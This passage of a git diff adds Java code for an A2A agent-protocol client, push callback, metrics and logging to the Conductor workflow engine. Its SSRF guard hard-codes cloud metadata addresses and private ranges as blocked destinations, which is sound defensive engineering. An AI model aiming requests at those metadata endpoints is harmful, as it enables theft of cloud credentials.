agentTaskId, + request.getHistoryLength(), + request.getHeaders()); + } catch (Exception e) { + log.warn( + "A2A push for task {}: failed to fetch agent task {} from {}: {}", + taskId, + agentTaskId, + request.getAgentUrl(), + e.getMessage()); + return ResponseEntity.status(HttpStatus.BAD_GATEWAY).build(); + } + + String state = agentTask.getStatus() != null ? agentTask.getStatus().getState() : null; + if (!TaskState.isTerminal(state) && !TaskState.isInterrupted(state)) { + // Not done yet — ack and wait for the next push. + return ResponseEntity.ok().build(); + } + + Map output = A2AResults.taskOutput(agentTask, objectMapper); + taskService.updateTask( + task.getWorkflowInstanceId(), + task.getReferenceTaskName(), + toResultStatus(state), + "a2a-callback", + output); + log.debug("A2A push completed task {} (agent state {})", taskId, state); + return ResponseEntity.ok().build(); + } + } + + /** Resolves the token: {@code Authorization: Bearer} header wins, then the custom header. */ + private String resolveToken(String authHeader, String customHeader) { + if (authHeader != null && authHeader.startsWith("Bearer ")) { + return authHeader.substring(7).trim(); + } + if (customHeader != null && !customHeader.isBlank()) { + return customHeader.trim(); + } + return null; + } + + /** + * Validates the inbound token against the stored one using constant-time comparison and checks + * the embedded expiry timestamp. Token format: {@code {uuid}:{expiryEpochMillis}}. + */ + private boolean isValidToken(Object stored, String inbound) { + if (stored == null || inbound == null) { + return false; + } + String storedStr = stored.toString(); + // Constant-time comparison — prevents timing oracle on the UUID portion. + boolean match = + MessageDigest.isEqual( + storedStr.getBytes(StandardCharsets.UTF_8), + inbound.getBytes(StandardCharsets.UTF_8)); + if (!match) { + return false; + } + // Extract and validate the expiry timestamp embedded in the token. + int sep = storedStr.lastIndexOf(':'); + if (sep > 0) { + try { + long expiryMs = Long.parseLong(storedStr.substring(sep + 1)); + if (System.currentTimeMillis() > expiryMs) { + log.warn("A2A push token is expired (expiry was {})", expiryMs); + return false; + } + } catch (NumberFormatException ignored) { + // Token pre-dates the timestamped format — accept it as valid (no expiry check). + } + } + return true; + } + + private Task loadTask(String taskId) { + try { + return taskService.getTask(taskId); + } catch (Exception e) { + return null; + } + } + + private TaskResult.Status toResultStatus(String state) { + switch (TaskState.normalize(state)) { + case TaskState.FAILED: + case TaskState.REJECTED: + return TaskResult.Status.FAILED; + default: + // completed / canceled / input-required / auth-required + return TaskResult.Status.COMPLETED; + } + } + + private static String asString(Object value) { + return value == null ? null : value.toString(); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/a2a/A2AException.java b/ai/src/main/java/org/conductoross/conductor/ai/a2a/A2AException.java new file mode 100644 index 0000000..c7bb18f --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/a2a/A2AException.java @@ -0,0 +1,30 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.a2a; + +/** + * A retryable failure talking to a remote A2A agent (transport error, 5xx, or a transient JSON-RPC + * error). Terminal/non-retryable failures (4xx, method-not-found, task-not-found, …) are surfaced + * as {@link com.netflix.conductor.sdk.workflow.executor.task.NonRetryableException} instead, so + * both the annotated-worker path and {@code AgentTask} map them to a terminal task status. + */ +public class A2AException extends RuntimeException { + + public A2AException(String message) { + super(message); + } + + public A2AException(String message, Throwable cause) { + super(message, cause); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/a2a/A2ALogging.java b/ai/src/main/java/org/conductoross/conductor/ai/a2a/A2ALogging.java new file mode 100644 index 0000000..d8ff4c8 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/a2a/A2ALogging.java @@ -0,0 +1,75 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.a2a; + +import java.util.ArrayList; +import java.util.List; + +import org.slf4j.MDC; + +/** + * MDC correlation keys for A2A code paths. A {@link Scope} sets a batch of keys and removes exactly + * those it set on close, so log lines emitted while calling (or being called by) a remote agent can + * be grepped by workflow, task, remote task, or context id — and no key leaks onto the next task to + * run on a pooled worker thread. + * + *

Usage: + * + * 

{@code
+ * try (A2ALogging.Scope scope = A2ALogging.of(A2ALogging.WORKFLOW_ID, wfId, A2ALogging.TASK_ID, id)) {
+ *     scope.add(A2ALogging.REMOTE_TASK_ID, agentTaskId); // once it's known
+ *     ...
+ * }
+ * }
+ */ +public final class A2ALogging { + + public static final String WORKFLOW_ID = "a2aWorkflowId"; + public static final String TASK_ID = "a2aTaskId"; + public static final String REF = "a2aRef"; + public static final String REMOTE_TASK_ID = "a2aRemoteTaskId"; + public static final String CONTEXT_ID = "a2aContextId"; + public static final String MESSAGE_ID = "a2aMessageId"; + public static final String AGENT = "a2aAgent"; + public static final String METHOD = "a2aMethod"; + + private A2ALogging() {} + + /** Open a scope pre-loaded with alternating key/value pairs (null keys/values are skipped). */ + public static Scope of(String... kv) { + Scope scope = new Scope(); + for (int i = 0; i + 1 < kv.length; i += 2) { + scope.add(kv[i], kv[i + 1]); + } + return scope; + } + + /** An auto-closeable set of MDC keys; {@link #close()} removes only the keys this scope set. */ + public static final class Scope implements AutoCloseable { + private final List keys = new ArrayList<>(); + + /** Set an MDC key (no-op if key or value is null); removed on {@link #close()}. */ + public Scope add(String key, String value) { + if (key != null && value != null) { + MDC.put(key, value); + keys.add(key); + } + return this; + } + + @Override + public void close() { + keys.forEach(MDC::remove); + } + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/a2a/A2AMetrics.java b/ai/src/main/java/org/conductoross/conductor/ai/a2a/A2AMetrics.java new file mode 100644 index 0000000..91c682e --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/a2a/A2AMetrics.java @@ -0,0 +1,81 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.a2a; + +import com.netflix.conductor.metrics.Monitors; + +/** + * A2A metric emission, centralized so names and tags stay consistent and low-cardinality. + * + *

Counters are published through the shared {@link Monitors} registry (the same one the rest of + * the engine uses), so they show up alongside core Conductor metrics in whatever backend is wired + * in (Prometheus, Datadog, …). Tag values are always drawn from bounded sets — never agent URLs, + * workflow ids, or message ids — to avoid cardinality blow-ups. + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + *
Metrics
NameTagsMeaning
{@code a2a_client_calls}{@code result}An AGENT task reached a terminal status (result = the Conductor status).
{@code a2a_client_poll_failures}—A single transient {@code tasks/get} poll failed (before exhausting retries).
{@code a2a_rpc_errors}{@code method}, {@code terminal}A JSON-RPC/HTTP error from a remote agent, by method and whether it was fatal.
{@code a2a_ssrf_blocked}—An outbound agent URL was rejected by the SSRF guard.
{@code a2a_server_requests}{@code method}An inbound A2A JSON-RPC request to a workflow-backed agent, by method.
{@code a2a_server_resumes}—A follow-up message/send resumed a paused workflow (multi-turn).
+ */ +public final class A2AMetrics { + + private A2AMetrics() {} + + // ---- client (Conductor calling a remote agent) ------------------------------------------ + + /** An AGENT task settled into a terminal Conductor status (e.g. completed/failed). */ + public static void clientCall(String result) { + Monitors.getCounter("a2a_client_calls", "result", result).increment(); + } + + /** One transient poll failure during a {@code tasks/get} loop (retry not yet exhausted). */ + public static void clientPollFailure() { + Monitors.getCounter("a2a_client_poll_failures").increment(); + } + + /** A remote agent returned a JSON-RPC or HTTP error for the given method. */ + public static void rpcError(String method, boolean terminal) { + Monitors.getCounter( + "a2a_rpc_errors", "method", method, "terminal", String.valueOf(terminal)) + .increment(); + } + + /** An outbound agent URL was rejected by the SSRF guard. */ + public static void ssrfBlocked() { + Monitors.getCounter("a2a_ssrf_blocked").increment(); + } + + // ---- server (Conductor exposed as an agent) --------------------------------------------- + + /** An inbound A2A JSON-RPC request was dispatched for the given method. */ + public static void serverRequest(String method) { + Monitors.getCounter("a2a_server_requests", "method", method).increment(); + } + + /** A follow-up message/send resumed a paused (input-required) workflow. */ + public static void serverResume() { + Monitors.getCounter("a2a_server_resumes").increment(); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/a2a/A2AResults.java b/ai/src/main/java/org/conductoross/conductor/ai/a2a/A2AResults.java new file mode 100644 index 0000000..8856048 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/a2a/A2AResults.java @@ -0,0 +1,124 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.a2a; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.conductoross.conductor.ai.a2a.model.A2AMessage; +import org.conductoross.conductor.ai.a2a.model.A2ATask; +import org.conductoross.conductor.ai.a2a.model.Artifact; +import org.conductoross.conductor.ai.a2a.model.Part; +import org.conductoross.conductor.ai.a2a.model.TaskState; + +import com.fasterxml.jackson.databind.ObjectMapper; + +/** + * Builds the task output that {@code AGENT} (polling/streaming) and the push-notification callback + * both surface, so the shape is identical regardless of how the result arrived. + */ +public final class A2AResults { + + public static final String KEY_STATE = "state"; + public static final String KEY_TASK_ID = "taskId"; + public static final String KEY_CONTEXT_ID = "contextId"; + public static final String KEY_ARTIFACTS = "artifacts"; + public static final String KEY_TEXT = "text"; + public static final String KEY_AGENT_MESSAGE = "agentMessage"; + public static final String KEY_TASK = "task"; + public static final String KEY_PUSH_TOKEN = "pushToken"; + + /** Bookkeeping (also surfaced for operator visibility): when the A2A call started. */ + public static final String KEY_STARTED_AT = "a2aStartedAt"; + + /** Bookkeeping: consecutive transient poll failures so far. */ + public static final String KEY_POLL_FAILURES = "a2aPollFailures"; + + private A2AResults() {} + + /** Output for a remote {@link A2ATask}: normalized state, ids, artifacts, text, full task. */ + public static Map taskOutput(A2ATask task, ObjectMapper objectMapper) { + Map output = new HashMap<>(); + output.put(KEY_STATE, TaskState.normalize(stateOf(task))); + output.put(KEY_TASK_ID, task.getId()); + output.put(KEY_CONTEXT_ID, task.getContextId()); + if (task.getArtifacts() != null) { + output.put(KEY_ARTIFACTS, objectMapper.convertValue(task.getArtifacts(), List.class)); + } + output.put(KEY_TASK, objectMapper.convertValue(task, Map.class)); + String text = extractText(task); + if (text != null) { + output.put(KEY_TEXT, text); + } + A2AMessage statusMessage = task.getStatus() != null ? task.getStatus().getMessage() : null; + if (statusMessage != null) { + output.put(KEY_AGENT_MESSAGE, objectMapper.convertValue(statusMessage, Map.class)); + } + return output; + } + + /** Output for a direct {@link A2AMessage} reply (no task was created). */ + public static Map messageOutput(A2AMessage message, ObjectMapper objectMapper) { + Map output = new HashMap<>(); + output.put(KEY_STATE, "message"); + if (message != null) { + output.put(KEY_CONTEXT_ID, message.getContextId()); + output.put(KEY_TASK_ID, message.getTaskId()); + output.put(KEY_AGENT_MESSAGE, objectMapper.convertValue(message, Map.class)); + String text = partsText(message.getParts()); + if (text != null) { + output.put(KEY_TEXT, text); + } + } + return output; + } + + /** Concatenates the text of a task's artifact parts, falling back to its status message. */ + public static String extractText(A2ATask task) { + StringBuilder sb = new StringBuilder(); + if (task.getArtifacts() != null) { + for (Artifact artifact : task.getArtifacts()) { + appendParts(sb, artifact.getParts()); + } + } + if (sb.length() == 0 && task.getStatus() != null && task.getStatus().getMessage() != null) { + appendParts(sb, task.getStatus().getMessage().getParts()); + } + return sb.length() == 0 ? null : sb.toString(); + } + + static String partsText(List parts) { + StringBuilder sb = new StringBuilder(); + appendParts(sb, parts); + return sb.length() == 0 ? null : sb.toString(); + } + + private static void appendParts(StringBuilder sb, List parts) { + if (parts == null) { + return; + } + for (Part part : parts) { + if (part != null && part.getText() != null) { + if (sb.length() > 0) { + sb.append("\n"); + } + sb.append(part.getText()); + } + } + } + + static String stateOf(A2ATask task) { + return task.getStatus() != null ? task.getStatus().getState() : null; + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/a2a/A2AService.java b/ai/src/main/java/org/conductoross/conductor/ai/a2a/A2AService.java new file mode 100644 index 0000000..92e8a30 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/a2a/A2AService.java @@ -0,0 +1,677 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.a2a; + +import java.io.BufferedReader; +import java.io.InputStreamReader; +import java.net.InetAddress; +import java.net.URL; +import java.nio.charset.StandardCharsets; +import java.util.ArrayList; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.concurrent.atomic.AtomicLong; + +import org.conductoross.conductor.ai.a2a.model.A2AMessage; +import org.conductoross.conductor.ai.a2a.model.A2ATask; +import org.conductoross.conductor.ai.a2a.model.AgentCard; +import org.conductoross.conductor.ai.a2a.model.Artifact; +import org.conductoross.conductor.ai.a2a.model.Part; +import org.conductoross.conductor.ai.a2a.model.TaskStatus; +import org.conductoross.conductor.config.AIIntegrationEnabledCondition; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.context.annotation.Conditional; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.sdk.workflow.executor.task.NonRetryableException; + +import com.fasterxml.jackson.annotation.JsonInclude; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.databind.node.ObjectNode; +import okhttp3.MediaType; +import okhttp3.OkHttpClient; +import okhttp3.Request; +import okhttp3.RequestBody; +import okhttp3.Response; + +/** + * Minimal A2A (Agent2Agent) protocol client for talking to remote agents. + * + *

Hand-rolled JSON-RPC 2.0 over the shared {@code conductorAiHttpClient} (OkHttp) + Jackson — + * the same approach as {@link org.conductoross.conductor.ai.mcp.MCPService}. Targets the A2A v0.3.x + * wire model (and tolerates v1.0 enum spellings via {@link + * org.conductoross.conductor.ai.a2a.model.TaskState}). Supports agent-card discovery and the {@code + * message/send}, {@code tasks/get}, and {@code tasks/cancel} methods. + * + *

Transport/5xx/transient errors raise {@link A2AException} (retryable); client/protocol errors + * (4xx, method-not-found, task-not-found, …) raise {@link NonRetryableException} (terminal). + */ +@Component +@Conditional(AIIntegrationEnabledCondition.class) +public class A2AService { + + private static final Logger log = LoggerFactory.getLogger(A2AService.class); + private static final MediaType JSON = MediaType.get("application/json"); + private static final int MAX_ERROR_BODY = 500; + + /** + * The only agent runtime implemented in OSS today. Native runtimes (langgraph, openai, …) are + * planned. + */ + public static final String AGENT_TYPE_A2A = "a2a"; + + /** Whether {@code agentType} selects the A2A runtime — null/blank defaults to A2A. */ + public static boolean isA2aAgentType(String agentType) { + return agentType == null + || agentType.isBlank() + || AGENT_TYPE_A2A.equalsIgnoreCase(agentType); + } + + /** JSON-RPC / A2A error codes that are not worth retrying. */ + private static final Set TERMINAL_RPC_CODES = + Set.of( + -32700, // parse error + -32600, // invalid request + -32601, // method not found + -32602, // invalid params + -32001, // TaskNotFoundError + -32002, // TaskNotCancelableError + -32003, // PushNotificationNotSupportedError + -32004, // UnsupportedOperationError + -32005, // ContentTypeNotSupportedError + -32007); // AuthenticatedExtendedCardNotConfiguredError + + /** Known IPv6 cloud metadata addresses, always blocked (resolved from literals, no DNS). */ + private static final java.util.Set METADATA_IPV6 = resolveMetadataIpv6(); + + private static java.util.Set resolveMetadataIpv6() { + java.util.Set set = new java.util.HashSet<>(); + for (String literal : new String[] {"fd00:ec2::254", "fe80::a9fe:a9fe"}) { + try { + set.add(InetAddress.getByName(literal)); + } catch (Exception ignored) { + // IPv6 literals don't hit DNS; ignore if a JVM somehow rejects one. + } + } + return set; + } + + private final ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper(); + + /** Serializer that drops null fields, so outgoing requests stay clean for strict agents. */ + private final ObjectMapper sendMapper = + objectMapper.copy().setSerializationInclusion(JsonInclude.Include.NON_NULL); + + /** Property: opt in to calling agents on loopback/RFC-1918/link-local addresses. */ + public static final String ALLOW_PRIVATE_NETWORK_PROPERTY = + "conductor.a2a.client.allow-private-network"; + + private final OkHttpClient httpClient; + private final AtomicLong idCounter = new AtomicLong(1); + + /** + * When true, the SSRF guard permits private/loopback addresses — for deployments where A2A + * agents legitimately run on a trusted private network (and required for localhost + * demos/tests). Cloud metadata endpoints (169.254.x.x) remain blocked even so. + */ + private final boolean allowPrivateNetwork; + + /** Test/standalone constructor — SSRF guard fully enabled. */ + public A2AService(OkHttpClient conductorAiHttpClient) { + this(conductorAiHttpClient, false); + } + + public A2AService(OkHttpClient conductorAiHttpClient, boolean allowPrivateNetwork) { + // Disable auto-redirects for A2A calls: validateAgentUrl() checks only the initial URL, so + // a 30x to a private/metadata host would otherwise bypass the SSRF guard. A2A endpoints are + // not expected to redirect. newBuilder() inherits the shared client's timeouts/pool/ + // interceptors, so this is isolated to the A2A client. + this.httpClient = + conductorAiHttpClient + .newBuilder() + .followRedirects(false) + .followSslRedirects(false) + .build(); + this.allowPrivateNetwork = allowPrivateNetwork; + } + + @org.springframework.beans.factory.annotation.Autowired + public A2AService( + OkHttpClient conductorAiHttpClient, + org.springframework.core.env.Environment environment) { + this( + conductorAiHttpClient, + environment != null + && Boolean.parseBoolean( + environment.getProperty(ALLOW_PRIVATE_NETWORK_PROPERTY, "false"))); + } + + /** + * Fetches a remote agent's {@link AgentCard} for discovery. + * + *

If {@code agentUrl} points directly at a {@code .json} document it is used as-is; + * otherwise the standard well-known paths are tried in order: {@code + * /.well-known/agent-card.json} (v0.3.x+) then {@code /.well-known/agent.json} (v0.2.5). + */ + public AgentCard getAgentCard(String agentUrl, Map headers) { + validateAgentUrl(agentUrl); + RuntimeException last = null; + for (String url : agentCardUrls(agentUrl)) { + try { + Request.Builder rb = + new Request.Builder().url(url).get().header("Accept", "application/json"); + addHeaders(rb, headers); + try (Response response = httpClient.newCall(rb.build()).execute()) { + String body = response.body() != null ? response.body().string() : ""; + if (!response.isSuccessful()) { + last = httpError(url, "GET agent card", response.code(), body); + continue; + } + log.debug("Resolved agent card from {}", url); + return objectMapper.readValue(body, AgentCard.class); + } + } catch (Exception e) { + last = + new A2AException( + "Failed to fetch agent card from " + url + ": " + e.getMessage(), + e); + } + } + throw last != null + ? last + : new A2AException("Could not resolve agent card from " + agentUrl); + } + + /** + * Sends a message to a remote agent ({@code message/send}). + * + * @param endpoint the agent's JSON-RPC endpoint URL + * @param message the message to send + * @param configuration optional {@code MessageSendConfiguration} (historyLength, + * pushNotificationConfig, …); may be null + * @param headers optional HTTP headers (e.g. {@code Authorization}) + * @return the result, which is either a direct {@link A2AMessage} reply or an {@link A2ATask} + */ + public SendResult sendMessage( + String endpoint, + A2AMessage message, + Map configuration, + Map headers) { + ObjectNode params = objectMapper.createObjectNode(); + params.set("message", sendMapper.valueToTree(message)); + if (configuration != null && !configuration.isEmpty()) { + params.set("configuration", sendMapper.valueToTree(configuration)); + } + JsonNode result = jsonRpc(endpoint, "message/send", params, headers); + return SendResult.from(result, objectMapper); + } + + /** + * Sends a message and consumes the SSE stream ({@code message/stream}), aggregating the + * streamed events (task, status-update, artifact-update chunks) into a final {@link + * SendResult}. + * + *

The connection is held open until the agent signals the final status event, so this is + * best for interactive/short streams; for very long-running work prefer send+poll or push. + */ + public SendResult streamMessage( + String endpoint, + A2AMessage message, + Map configuration, + Map headers) { + validateAgentUrl(endpoint); // SSRF guard — must run on the streaming path too + try { + ObjectNode params = objectMapper.createObjectNode(); + params.set("message", sendMapper.valueToTree(message)); + if (configuration != null && !configuration.isEmpty()) { + params.set("configuration", sendMapper.valueToTree(configuration)); + } + ObjectNode request = objectMapper.createObjectNode(); + request.put("jsonrpc", "2.0"); + request.put("id", idCounter.getAndIncrement()); + request.put("method", "message/stream"); + request.set("params", params); + + Request.Builder rb = + new Request.Builder() + .url(endpoint) + .post( + RequestBody.create( + objectMapper.writeValueAsString(request), JSON)) + .header("Content-Type", "application/json") + .header("Accept", "text/event-stream"); + addHeaders(rb, headers); + + try (Response response = httpClient.newCall(rb.build()).execute()) { + if (!response.isSuccessful()) { + String body = response.body() != null ? response.body().string() : ""; + throw httpError(endpoint, "message/stream", response.code(), body); + } + return aggregateStream(response); + } + } catch (A2AException | NonRetryableException e) { + throw e; + } catch (Exception e) { + throw new A2AException("A2A stream to " + endpoint + " failed: " + e.getMessage(), e); + } + } + + private SendResult aggregateStream(Response response) throws Exception { + StreamAggregator aggregator = new StreamAggregator(); + try (BufferedReader reader = + new BufferedReader( + new InputStreamReader( + response.body().byteStream(), StandardCharsets.UTF_8))) { + StringBuilder data = new StringBuilder(); + String line; + while ((line = reader.readLine()) != null) { + if (line.isEmpty()) { + if (data.length() > 0) { + processStreamEvent(data.toString(), aggregator); + data.setLength(0); + if (aggregator.done) { + break; + } + } + } else if (line.startsWith("data:")) { + String chunk = line.substring(5).trim(); + if (!chunk.isEmpty() && !chunk.equals("[DONE]")) { + data.append(chunk); + } + } + } + if (!aggregator.done && data.length() > 0) { + processStreamEvent(data.toString(), aggregator); + } + } + return aggregator.toResult(); + } + + private void processStreamEvent(String json, StreamAggregator aggregator) { + try { + JsonNode node = objectMapper.readTree(json); + if (node.has("error") && !node.get("error").isNull()) { + throw jsonRpcError("stream", "message/stream", node.get("error")); + } + JsonNode result = node.has("result") ? node.get("result") : node; + aggregator.accept(result, objectMapper); + } catch (A2AException | NonRetryableException e) { + throw e; + } catch (Exception e) { + log.warn("Unparsable SSE event (stream may be incomplete): {}", e.getMessage()); + } + } + + /** Retrieves the current state of a task ({@code tasks/get}). */ + public A2ATask getTask( + String endpoint, String taskId, Integer historyLength, Map headers) { + ObjectNode params = objectMapper.createObjectNode(); + params.put("id", taskId); + if (historyLength != null) { + params.put("historyLength", historyLength); + } + JsonNode result = jsonRpc(endpoint, "tasks/get", params, headers); + return objectMapper.convertValue(result, A2ATask.class); + } + + /** Requests cancellation of a task ({@code tasks/cancel}); best-effort. */ + public A2ATask cancelTask(String endpoint, String taskId, Map headers) { + ObjectNode params = objectMapper.createObjectNode(); + params.put("id", taskId); + JsonNode result = jsonRpc(endpoint, "tasks/cancel", params, headers); + return objectMapper.convertValue(result, A2ATask.class); + } + + /** Performs a single JSON-RPC 2.0 POST and returns the {@code result} node. */ + private JsonNode jsonRpc( + String endpoint, String method, JsonNode params, Map headers) { + validateAgentUrl(endpoint); + try { + ObjectNode request = objectMapper.createObjectNode(); + request.put("jsonrpc", "2.0"); + request.put("id", idCounter.getAndIncrement()); + request.put("method", method); + if (params != null) { + request.set("params", params); + } + + Request.Builder rb = + new Request.Builder() + .url(endpoint) + .post( + RequestBody.create( + objectMapper.writeValueAsString(request), JSON)) + .header("Content-Type", "application/json") + .header("Accept", "application/json, text/event-stream"); + addHeaders(rb, headers); + + try (Response response = httpClient.newCall(rb.build()).execute()) { + String body = response.body() != null ? response.body().string() : ""; + if (!response.isSuccessful()) { + throw httpError(endpoint, method, response.code(), body); + } + JsonNode json = parseBody(response, body); + if (json.has("error") && !json.get("error").isNull()) { + throw jsonRpcError(endpoint, method, json.get("error")); + } + if (!json.has("result")) { + throw new A2AException( + "Invalid JSON-RPC response from " + + endpoint + + " for '" + + method + + "': missing 'result' field"); + } + return json.get("result"); + } + } catch (A2AException | NonRetryableException e) { + throw e; + } catch (Exception e) { + // IO/timeout/parse errors are transient — let the task retry. + throw new A2AException( + "A2A call '" + method + "' to " + endpoint + " failed: " + e.getMessage(), e); + } + } + + private JsonNode parseBody(Response response, String body) throws Exception { + String contentType = response.header("Content-Type", "application/json"); + if (contentType != null && contentType.contains("text/event-stream")) { + return parseSseResponse(body); + } + return objectMapper.readTree(body); + } + + /** + * Guards against SSRF: rejects URLs whose hostname resolves to an RFC-1918 address, loopback, + * link-local (169.254.x.x — AWS/GCP/Azure metadata), or any non-http(s) scheme. + * + *

Note: DNS resolution is performed once here. A sufficiently hostile DNS server could + * rebind the name to a private IP after this check (TOCTOU). For stronger protection, deploy + * behind a network-layer firewall that blocks egress to private ranges. + */ + public void validateAgentUrl(String rawUrl) { + if (rawUrl == null || rawUrl.isBlank()) { + throw new NonRetryableException("agentUrl must not be blank"); + } + try { + URL url = new URL(rawUrl.trim()); + String scheme = url.getProtocol(); + if (!"http".equals(scheme) && !"https".equals(scheme)) { + throw new NonRetryableException("agentUrl must use http or https, got: " + scheme); + } + String host = url.getHost(); + InetAddress[] addresses = InetAddress.getAllByName(host); + for (InetAddress addr : addresses) { + // Cloud metadata endpoints are blocked even when private networks are allowed. + if (isMetadataAddress(addr)) { + A2AMetrics.ssrfBlocked(); + throw new NonRetryableException( + "agentUrl resolves to a cloud metadata address — SSRF blocked: " + + addr.getHostAddress()); + } + if (allowPrivateNetwork) { + continue; + } + if (addr.isLoopbackAddress() + || addr.isSiteLocalAddress() + || addr.isLinkLocalAddress() + || addr.isAnyLocalAddress() + || isUniqueLocalIpv6(addr)) { + A2AMetrics.ssrfBlocked(); + throw new NonRetryableException( + "agentUrl resolves to a private/reserved address — SSRF blocked: " + + addr.getHostAddress() + + " (set " + + ALLOW_PRIVATE_NETWORK_PROPERTY + + "=true to allow private-network agents)"); + } + } + } catch (NonRetryableException e) { + throw e; + } catch (Exception e) { + throw new NonRetryableException( + "agentUrl is not a valid URL: " + rawUrl + " — " + e.getMessage(), e); + } + } + + /** + * Cloud metadata endpoints, blocked even when private networks are allowed: IPv4 link-local + * 169.254.0.0/16 (AWS IMDS 169.254.169.254, ECS 169.254.170.2) and the IPv6 metadata addresses + * (AWS {@code fd00:ec2::254}, link-local {@code fe80::a9fe:a9fe}). + */ + private static boolean isMetadataAddress(InetAddress addr) { + byte[] b = addr.getAddress(); + if (b.length == 4) { + return (b[0] & 0xFF) == 169 && (b[1] & 0xFF) == 254; + } + return METADATA_IPV6.contains(addr); + } + + /** + * IPv6 Unique Local Address fc00::/7 — private, but NOT covered by Java's isSiteLocalAddress. + */ + private static boolean isUniqueLocalIpv6(InetAddress addr) { + byte[] b = addr.getAddress(); + return b.length == 16 && (b[0] & 0xFE) == 0xFC; + } + + /** Builds the candidate agent-card URLs for {@code agentUrl}. */ + private List agentCardUrls(String agentUrl) { + String url = agentUrl.trim(); + List candidates = new ArrayList<>(); + if (url.endsWith(".json")) { + candidates.add(url); + return candidates; + } + String base = url.endsWith("/") ? url.substring(0, url.length() - 1) : url; + candidates.add(base + "/.well-known/agent-card.json"); + candidates.add(base + "/.well-known/agent.json"); + return candidates; + } + + private RuntimeException httpError(String endpoint, String op, int code, String body) { + String message = + String.format( + "HTTP %d from A2A agent (%s %s): %s", code, op, endpoint, truncate(body)); + boolean terminal = !isRetryableHttp(code); + A2AMetrics.rpcError(op, terminal); + return terminal ? new NonRetryableException(message) : new A2AException(message); + } + + private RuntimeException jsonRpcError(String endpoint, String op, JsonNode error) { + int code = error.path("code").asInt(0); + String message = error.path("message").asText(""); + String data = error.has("data") ? error.get("data").toString() : ""; + String full = + String.format( + "A2A JSON-RPC error %d from %s (%s): %s %s", + code, endpoint, op, message, data) + .trim(); + boolean terminal = TERMINAL_RPC_CODES.contains(code); + A2AMetrics.rpcError(op, terminal); + return terminal ? new NonRetryableException(full) : new A2AException(full); + } + + private boolean isRetryableHttp(int code) { + return code == 408 || code == 429 || code >= 500; + } + + private void addHeaders(Request.Builder builder, Map headers) { + if (headers != null && !headers.isEmpty()) { + headers.forEach( + (key, value) -> { + if (key != null && value != null) { + builder.header(key, value); + } + }); + } + } + + private static String truncate(String body) { + if (body == null) { + return ""; + } + return body.length() > MAX_ERROR_BODY ? body.substring(0, MAX_ERROR_BODY) + "…" : body; + } + + /** + * Parses an SSE response, concatenating the JSON from {@code data:} lines (some A2A agents + * reply to non-streaming calls with {@code text/event-stream}). + */ + private JsonNode parseSseResponse(String sseBody) throws Exception { + StringBuilder jsonData = new StringBuilder(); + for (String line : sseBody.split("\n")) { + String trimmed = line.trim(); + if (trimmed.startsWith("data:")) { + String data = trimmed.substring(5).trim(); + if (!data.isEmpty() && !data.equals("[DONE]")) { + jsonData.append(data); + } + } + } + if (jsonData.length() == 0) { + throw new A2AException("No data found in SSE response: " + truncate(sseBody)); + } + return objectMapper.readTree(jsonData.toString()); + } + + /** Accumulates A2A streaming events into a single task (or direct message) result. */ + private static final class StreamAggregator { + + private String 